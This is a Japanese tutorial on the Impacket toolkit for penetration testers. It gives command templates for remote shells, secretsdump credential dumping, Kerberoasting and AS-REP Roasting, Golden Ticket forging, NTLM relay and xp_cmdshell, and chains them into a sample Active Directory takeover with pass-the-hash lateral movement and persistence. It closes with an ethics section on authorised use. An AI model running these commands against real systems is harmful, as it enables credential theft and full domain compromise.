ネットワークプロトコル操作の強力なツールキットを使いこなす
はじめに: Impacket とは?
Impacket は、ネットワークプロトコルを低レベルで扱うための Python クラスのコレクションです。主に Microsoft Windows 環境で使われる SMB/CIFS, MSRPC, Kerberos, LDAP, NTLM, MSSQL などのプロトコルに焦点を当てており、ネットワーク管理者やペネトレーションテスターにとって非常に強力なツールとなります。
このライブラリには、これらのプロトコルを実装した多数のユーティリティスクリプト(通称: impacket-scripts
)が同梱されています。これらのスクリプトは、ターゲットシステムに対する様々なアクション(認証、情報収集、リモート実行、クレデンシャル取得など)を実行するために設計されています。🔧
インストール方法
Impacket はいくつかの方法でインストールできます。最も一般的なのは Python のパッケージマネージャーである pip
を使う方法です。
pip install impacket
あるいは、最新の開発版を使いたい場合や、ソースコードから直接実行したい場合は、GitHub リポジトリからクローンすることも可能です。
git clone https://github.com/fortra/impacket.git
cd impacket
pip install .
多くの場合、Impacket スクリプトは /usr/local/bin/
や Python の Scripts ディレクトリなどにインストールされ、パスが通っていればターミナルから直接スクリプト名を指定して実行できます。インストール場所は環境によって異なる場合があります。
Kali Linux などのペネトレーションテスト用ディストリビューションには、Impacket がプリインストールされていることが多いです。まずは impacket-
と入力して Tab キーを押し、補完されるか確認してみましょう。
主要なスクリプトとその使い方
Impacket には数多くのスクリプトが含まれていますが、ここでは特によく使われるものをピックアップして解説します。多くのスクリプトでは、ターゲットを指定する際に [[ドメイン/]ユーザー名[:パスワード]@ターゲット名]
の形式を使用します。パスワードの代わりに NTLM ハッシュ(LMハッシュ:NTハッシュ)を指定することも可能です。
1. リモート実行系スクリプト
ターゲットシステム上でコマンドを実行するためのスクリプト群です。
スクリプト名 | 説明 | 利用プロトコル/技術 | 主な用途 |
---|---|---|---|
psexec.py |
PsExec と同様の機能を提供。サービスをリモートで作成・実行し、対話的なシェルを提供する。 | SMB, MSRPC (SCMR) | 最も一般的なリモート実行、対話シェル |
atexec.py |
タスクスケジューラ (at コマンド相当) を利用してコマンドを実行。 | SMB, MSRPC (TSCH) | psexec がブロックされている場合の代替 |
wmiexec.py |
WMI (Windows Management Instrumentation) を利用してコマンドを実行。半対話的なシェルを提供。 | SMB, MSRPC (DCOM/WMI) | psexec が検出される場合のステルス性の高い代替 |
smbexec.py |
psexec に似ているが、サービスバイナリの代わりにコマンドを %COMSPEC% 経由で実行し、結果を SMB 共有経由で取得。 | SMB, MSRPC (SCMR) | psexec の代替、AV 回避目的 |
psexec.py の基本的な使い方例:
# パスワード認証で対話シェルを取得
impacket-psexec <ドメイン>/<ユーザー名>:<パスワード>@<ターゲットIP or ホスト名>
# NTLM ハッシュ認証でコマンド実行 (例: ipconfig)
impacket-psexec <ドメイン>/<ユーザー名>@<ターゲットIP> -hashes <LMハッシュ>:<NTハッシュ> "ipconfig /all"
# Kerberos 認証 (チケットキャッシュを使用)
export KRB5CCNAME=/tmp/krb5cc_<UID> # kinit などでチケットを取得済みの場合
impacket-psexec <ターゲットIP> -k -no-pass
他の実行系スクリプトも、認証情報やターゲットの指定方法は概ね共通しています。
2. クレデンシャルダンピング系スクリプト
ターゲットシステムから認証情報(ハッシュや平文パスワード、Kerberos チケットなど)を抽出します。
スクリプト名 | 説明 | 取得対象 | 主な要件 |
---|---|---|---|
secretsdump.py |
リモートシステムの SAM データベース、LSA シークレット、NTDS.dit ファイルからパスワードハッシュや Kerberos キーなどをダンプする。 | NTLM ハッシュ (SAM/NTDS.dit), LSA シークレット (キャッシュされた認証情報など), Kerberos キー (ドメインコントローラー) | 管理者権限 (ローカル/ドメイン) |
secretsdump.py の基本的な使い方例:
# ローカル SAM/LSA からダンプ (管理者権限が必要)
impacket-secretsdump <ドメイン>/<ユーザー名>:<パスワード>@<ターゲットIP> LOCAL
# ドメインコントローラーの NTDS.dit からダンプ (ドメイン管理者権限が必要)
impacket-secretsdump <ドメイン>/<ユーザー名>:<パスワード>@<DCのIP or ホスト名>
# ハッシュ認証でダンプ
impacket-secretsdump <ドメイン>/<ユーザー名>@<ターゲットIP> -hashes <LMハッシュ>:<NTハッシュ> LOCAL
# 保存された NTDS.dit/SYSTEM ファイルからオフラインでダンプ
impacket-secretsdump -ntds <NTDS.ditファイル> -system <SYSTEMハイブ> LOCAL
3. Kerberos 関連スクリプト
Active Directory 環境における Kerberos 認証に関連する攻撃や情報収集を行います。
スクリプト名 | 説明 | 関連する攻撃手法 | 主な用途 |
---|---|---|---|
GetNPUsers.py |
Kerberos 事前認証 (Pre-Authentication) が不要なユーザーアカウントを検索し、AS-REP レスポンスを取得する。取得したハッシュはオフラインでクラック可能。 | AS-REP Roasting | 事前認証不要設定のアカウントのパスワードクラック |
GetUserSPNs.py |
特定の SPN (Service Principal Name) を持つユーザーアカウントを検索し、サービスチケット (TGS-REP) を要求する。取得したチケットの暗号化部分をオフラインでクラック可能。 | Kerberoasting | サービスアカウントのパスワードクラック |
ticketer.py |
Kerberos チケット (TGT, TGS) を偽造する。Golden Ticket や Silver Ticket の作成に使用。 | Golden Ticket, Silver Ticket | ドメイン/サービスの永続的なアクセス権の確保 (krbtgt ハッシュやサービスハッシュが必要) |
GetNPUsers.py の使い方例 (AS-REP Roasting):
# ドメインとユーザーリストを指定し、ハッシュを取得してファイルに出力
impacket-GetNPUsers <ドメイン>/ -usersfile <ユーザーリストファイル> -format hashcat -outputfile asrep_hashes.txt -dc-ip <DCのIP>
# 特定ユーザーを試す (パスワード不要)
impacket-GetNPUsers <ドメイン>/<ユーザー名> -no-pass -dc-ip <DCのIP>
GetUserSPNs.py の使い方例 (Kerberoasting):
# ドメインユーザーの認証情報で SPN を検索し、TGS を要求してハッシュ形式で出力
impacket-GetUserSPNs <ドメイン>/<ユーザー名>:<パスワード> -dc-ip <DCのIP> -request -outputfile kerberoast_hashes.txt
ticketer.py の使い方例 (Golden Ticket):
# krbtgt のハッシュ、ドメイン名、ドメイン SID が必要 (secretsdump.py などで取得)
impacket-ticketer -nthash <krbtgtのNTハッシュ> -domain-sid <ドメインSID> -domain <ドメイン名> <偽装したいユーザー名>
# 作成されたチケット (例: administrator.ccache) を環境変数 KRB5CCNAME で指定して他のツール (psexec.py など) で使用
export KRB5CCNAME=administrator.ccache
impacket-psexec <ターゲットIP> -k -no-pass
4. ネットワーク列挙・情報収集系スクリプト
ネットワーク上のシステムや Active Directory の情報を収集します。
スクリプト名 | 説明 | 利用プロトコル/技術 | 主な用途 |
---|---|---|---|
GetADUsers.py |
LDAP を使用して Active Directory のユーザー情報を列挙する。 | LDAP | ユーザーアカウント、グループ、属性情報の収集 |
rpcdump.py |
ターゲットの RPC エンドポイントを列挙する。 | MSRPC (EPM) | 利用可能な RPC サービスの特定 |
samrdump.py |
MSRPC (SAMR) を利用して、ドメインユーザーやグループの情報を列挙する。 | SMB, MSRPC (SAMR) | ユーザー、グループの SID や名前の列挙 |
lookupsid.py |
MSRPC (LSARPC) を利用して、SID からユーザー名やグループ名を検索したり、その逆を行う。 | SMB, MSRPC (LSARPC) | SID と名前の相互解決 |
GetADUsers.py の使い方例:
# ドメインユーザー認証で全ユーザー情報を取得
impacket-GetADUsers <ドメイン>/<ユーザー名>:<パスワード> -all -dc-ip <DCのIP>
# 特定の属性 (例: description) を取得
impacket-GetADUsers <ドメイン>/<ユーザー名>:<パスワード> -all -attributes description -dc-ip <DCのIP>
5. ファイル転送・操作スクリプト
SMB プロトコルを利用してファイルのアップロード、ダウンロード、共有の列挙などを行います。
スクリプト名 | 説明 | 利用プロトコル/技術 | 主な用途 |
---|---|---|---|
smbclient.py |
対話的な SMB クライアント。Linux の smbclient コマンドに似た機能を提供。 | SMB | 共有列挙、ファイル操作 (アップロード/ダウンロード/削除)、ディレクトリ操作 |
smbclient.py の使い方例:
# パスワード認証で接続し、対話モードを開始
impacket-smbclient <ドメイン>/<ユーザー名>:<パスワード>@<ターゲットIP or ホスト名>
# ハッシュ認証で接続
impacket-smbclient <ドメイン>/<ユーザー名>@<ターゲットIP> -hashes <LMハッシュ>:<NTハッシュ>
# 対話モードでのコマンド例
# shares : 利用可能な共有をリスト
# use <共有名> : 特定の共有に接続
# ls : カレントディレクトリのファイル/フォルダをリスト
# cd <フォルダ名>: ディレクトリ移動
# pwd : カレントディレクトリ表示
# put <ローカルファイル> [<リモートファイル名>] : ファイルをアップロード
# get <リモートファイル> [<ローカルファイル名>] : ファイルをダウンロード
# help : 利用可能なコマンドを表示
# exit : 終了
6. MSSQL 関連スクリプト
Microsoft SQL Server との対話を行います。
スクリプト名 | 説明 | 利用プロトコル/技術 | 主な用途 |
---|---|---|---|
mssqlclient.py |
MSSQL サーバーに接続し、SQL クエリの実行や xp_cmdshell を利用した OS コマンド実行などを行う。 | TDS (Tabular Data Stream) | SQL クエリ実行、OS コマンド実行 (xp_cmdshell 有効時)、Windows 認証/SQL 認証サポート |
mssqlclient.py の使い方例:
# SQL 認証
impacket-mssqlclient <ユーザー名>:<パスワード>@<ターゲットIP> -port <ポート番号>
# Windows 認証 (現在のユーザー)
impacket-mssqlclient <ターゲットIP> -windows-auth -port <ポート番号>
# Windows 認証 (別ユーザー、パスワード)
impacket-mssqlclient <ドメイン>/<ユーザー名>:<パスワード>@<ターゲットIP> -windows-auth -port <ポート番号>
# Windows 認証 (別ユーザー、ハッシュ)
impacket-mssqlclient <ドメイン>/<ユーザー名>@<ターゲットIP> -hashes <LMハッシュ>:<NTハッシュ> -windows-auth -port <ポート番号>
# xp_cmdshell を有効にして OS コマンド実行 (接続後、対話モードで)
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
7. その他注目すべきスクリプト
他にも多くの強力なスクリプトが存在します。
スクリプト名 | 説明 | 関連する攻撃手法 | 主な用途 |
---|---|---|---|
ntlmrelayx.py |
NTLM リレー攻撃を実行するサーバー。SMB, HTTP, WCF, RAW など様々なプロトコルに対応。認証情報をリレーしてターゲット上でアクション(例: コマンド実行、SOCKS プロキシ化、SecretsDump)を実行する。 | NTLM Relay | 中間者攻撃による認証ハイジャックとアクション実行 |
responder.py |
LLMNR, NBT-NS, MDNS ポイズニングを行い、Windows クライアントからの認証要求を待ち受ける。取得したハッシュはクラック可能。ntlmrelayx と連携してリレー攻撃にも使われる。 | LLMNR/NBT-NS Poisoning | ネットワーク内の認証ハッシュ取得、NTLM Relay の起点 |
ntlmrelayx.py
は特に強力で、SMB 署名が無効なサーバーに対して、中間者攻撃で取得した NTLM 認証をリレーし、そのユーザーになりすまして様々な操作を実行できます。例えば、--exec-method smbexec
や --exec-method secretsdump
を指定することで、リレー先のサーバーでコマンド実行やクレデンシャルダンプを試みることができます。
💡 ここで紹介したのは一部のスクリプトです。Impacket の examples
ディレクトリ(GitHub リポジトリ内)や、各スクリプトのヘルプ (-h
オプション) を参照することで、さらに多くのスクリプトとそのオプションを発見できます。
実践的なシナリオ例
Impacket スクリプトは単体でも強力ですが、組み合わせることでより効果を発揮します。ペネトレーションテストのシナリオを考えてみましょう。
-
情報収集:
responder.py
を実行してネットワーク上の認証情報を待ち受ける。あるいはnmap
などで SMB/LDAP ポートが開いているホストをスキャン。samrdump.py
やGetADUsers.py
を(もし匿名バインドや低権限ユーザーで可能なら)使い、ユーザーリストを作成。GetNPUsers.py
を実行し、AS-REP Roasting 可能なアカウントを探す。運が良ければパスワードをクラックできるかも? 🤔- 取得したユーザー/パスワード (またはハッシュ) で
GetUserSPNs.py
を実行し、Kerberoasting を試みる。サービスアカウントのパスワードを狙う。
-
初期アクセスと権限昇格:
- クラックできたアカウントや、デフォルト/推測可能なパスワードを使って
smbclient.py
や各種リモート実行スクリプト (psexec.py
,wmiexec.py
など) でログインを試みる。 ntlmrelayx.py
とresponder.py
を組み合わせて NTLM リレー攻撃を行い、管理者権限を持つセッションをハイジャックできないか試す。- ログインできたら、実行中のプロセスや設定ファイルから更なる認証情報を探す。
- クラックできたアカウントや、デフォルト/推測可能なパスワードを使って
-
内部活動とクレデンシャルアクセス:
- 管理者権限を取得できたら、
secretsdump.py
を使ってターゲットシステムのローカルハッシュや LSA シークレットをダンプする。 - ドメインコントローラーへのアクセス権が得られたら、
secretsdump.py
で NTDS.dit をダンプし、ドメイン全体のハッシュを取得する (krbtgt ハッシュも!)。✨ - 取得したハッシュを使って
psexec.py
などで他のシステムへ横展開 (Lateral Movement) する (Pass-the-Hash)。
- 管理者権限を取得できたら、
-
永続化:
- krbtgt ハッシュとドメイン SID を使って
ticketer.py
で Golden Ticket を作成し、ドメイン管理者権限を維持する。 - 特定のサービスアカウントのハッシュを使って Silver Ticket を作成し、そのサービスへのアクセスを維持する。
- krbtgt ハッシュとドメイン SID を使って
これはあくまで一例であり、実際の環境や目的によって使うべきスクリプトや手順は異なります。
倫理的な考慮事項と注意点 ⚠️
これまで見てきたように、Impacket スクリプトは非常に強力な機能を提供します。そのため、以下の点を強く意識する必要があります。
- 法的・倫理的な遵守: 許可なく他者のシステムやネットワークに対してこれらのツールを使用することは、不正アクセス行為として法的に罰せられる可能性があります。必ず自身の管理下にある環境、または書面による明確な許可を得たペネトレーションテストの範囲内でのみ使用してください。
- 影響の理解: スクリプトの実行は、ターゲットシステムに予期せぬ影響を与える可能性があります。特にクレデンシャルダンピングやリモート実行は、システムの不安定化やセキュリティインシデントを引き起こすリスクがあります。
- 検出リスク: 多くの Impacket スクリプトのアクティビティは、最新のセキュリティ製品(アンチウイルス、EDR、NDR、SIEM など)によって検出・ブロックされる可能性があります。ログは必ず残ります。
- 設定とオプション: 各スクリプトには多くのオプションがあります。誤ったオプションやパラメータを指定すると、意図しない動作を引き起こす可能性があります。使用前には必ずヘルプ (
-h
) を確認し、各オプションの意味を理解してください。
まとめ
Impacket スクリプトは、Windows ネットワーク環境における様々なプロトコルを悪用…もとい、調査・テストするための強力で多機能なツールキットです。リモート実行、クレデンシャルアクセス、情報収集、横展開、永続化など、攻撃ライフサイクルの多くの段階で活用できます。
この記事では主要なスクリプトとその基本的な使い方を紹介しましたが、Impacket の世界はさらに奥深いです。ぜひ公式ドキュメントや様々なセキュリティコミュニティの情報源を参照し、知識を深めていってください。🚀
繰り返しになりますが、これらのツールは必ず倫理的かつ合法的な目的で使用してください。適切な知識と倫理観を持って、セキュリティ向上に役立てましょう!
コメント